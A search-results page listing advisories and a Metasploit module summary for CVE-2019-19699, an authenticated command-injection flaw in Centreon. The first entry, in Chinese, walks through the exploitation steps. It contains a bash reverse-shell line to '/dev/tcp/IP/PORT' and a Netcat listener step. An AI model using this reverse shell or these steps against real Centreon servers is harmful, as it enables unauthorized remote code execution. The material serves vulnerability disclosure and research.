9 matches found
CVE-2019-19699
CVE-2019-19699 Centreon 命令 杂项 继续点击 添加 ，如下所示。 现在我们创建一个 bash 反弹 shell 作为我们的杂项命令 root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 并点击 保存 现在导航到 配置 轮询器，然后点击我们当前的 Central 轮询器 这将打开 修改轮询器配置 菜单 在这里可以向下滚动，设置一个 重启后命令 继续选择我们之前创建的 反弹 shell ，并点击 保存 按钮 现在可以在本地机器上启动 Netcat 监听器 最后，在 配置 轮询器 菜单中点击 导出配置 按钮...
📄 Centreon Broker Engine Reload Parameter Command Injection
Centreon is a platform designed to monitor your cloud and on-premises infrastructure. This Metasploit module exploits a command injection vulnerability using the broker engine reload setting on the poller configuration page of the Centreon web application. Injecting a malicious payload at the...
Centreon authenticated command injection leading to RCE via broker engine "reload" parameter
Centreon is a platform designed to monitor your cloud and on-premises infrastructure. This module exploits an command injection vulnerability using the broker engine reload setting on the poller configuration page of the Centreon web application. Injecting a malcious payload at the broker engine...
CVE-2019-19699
There is Authenticated remote code execution in Centreon Infrastructure Monitoring Software through 19.10 via Pollers misconfiguration, leading to system compromise via apache crontab misconfiguration, This allows the apache user to modify an executable file executed by root at 22:30 every day. T...
PT-2022-25672 · Centreon · Centreon
Name of the Vulnerable Software and Affected Versions: Centreon affected versions not specified Description: This issue allows remote attackers to escalate privileges on affected installations. Authentication is required to exploit this issue. The specific flaw exists within the handling of...
CVE-2019-19699
There is Authenticated remote code execution in Centreon Infrastructure Monitoring Software through 19.10 via Pollers misconfiguration, leading to system compromise via apache crontab misconfiguration, This allows the apache user to modify an executable file executed by root at 22:30 every day. T...
Remote code execution
There is Authenticated remote code execution in Centreon Infrastructure Monitoring Software through 19.10 via Pollers misconfiguration, leading to system compromise via apache crontab misconfiguration, This allows the apache user to modify an executable file executed by root at 22:30 every day. T...
CVE-2019-19699
There is Authenticated remote code execution in Centreon Infrastructure Monitoring Software through 19.10 via Pollers misconfiguration, leading to system compromise via apache crontab misconfiguration, This allows the apache user to modify an executable file executed by root at 22:30 every day. T...
